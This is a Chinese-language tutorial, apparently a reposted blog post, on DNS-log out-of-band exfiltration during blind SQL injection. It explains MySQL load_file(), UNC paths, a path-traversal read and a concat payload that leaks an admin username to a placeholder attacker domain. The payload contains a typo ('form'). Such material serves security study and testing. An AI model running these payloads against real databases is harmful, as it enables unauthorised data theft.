DNS注入原理:
通過我們構造的資料,訪問搭建好的DNS服務器,查看DNS訪問的日志即可獲取我們想要得到的資料,
DNS注入使用場景:
在某些無法直接利用漏洞獲得回顯的情況下,但是目標可以發起請求,這個時候就可以通過DNSlog把想獲得的資料外帶出來,
對于sql盲注,常見的方法就是二分法去一個個猜,但是這樣的方法麻煩不說,還很容易因為資料請求頻繁導致被ban,
load_file函式
load_file()函式是讀取檔案的函式,讀取檔案并回傳檔案內容為字串,要使用此函式,檔案必須位于服務器主機上,必須指定完整路徑的檔案,而且必須有FILE權限, 該檔案所有位元組可讀,但檔案內容必須小于max_allowed_packet(限制server接受的資料包大小函式,默認1MB), 如果該檔案不存在或無法讀取,因為前面的條件之一不滿足,函式回傳 NULL,
select load_file(../../../../../../../../../../../1.txt)
UNC路徑
UNC路徑就是類似\softer這樣的形式的網路路徑,它符合 \servername\sharename 格式,其中 servername 是服務器名,sharename 是共享資源的名稱,
目錄或檔案的 UNC 名稱可以包括共享名稱下的目錄路徑,格式為:
\\servername\sharename\directory\filename
例如softer計算機的名為it168的共享檔案夾,用UNC表示就是\softer\it168,
我們熟悉的命令列訪問法訪問網上鄰居,實際上應該稱作UNC路徑訪問法,
假設我們訪問的路徑是域名下的某個檔案呢?
//xxxxx.com/1.txt
或 \\\\xxxx.com/txt //四個反斜杠的原因是因為將反斜杠做轉義,不然兩個\會被轉義為一個,導致陳述句報錯
# 表示我們去訪問這個域名下的共享檔案夾的檔案
當我們使用load_file去訪問域名的時候,會產生DNS決議
這時候我們可以通過構造sql查詢陳述句去查詢資料庫
select load_file(concat('//',(select username form admin limit 0,1),'.xxx.xxx/abc'))
因為拼接的欄位只能有一條,所以需要進行限制,不然會報錯
如果成功訪問的話就可以通過查詢日志獲取username欄位的值,完成DNS注入,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/53246.html
標籤:其他
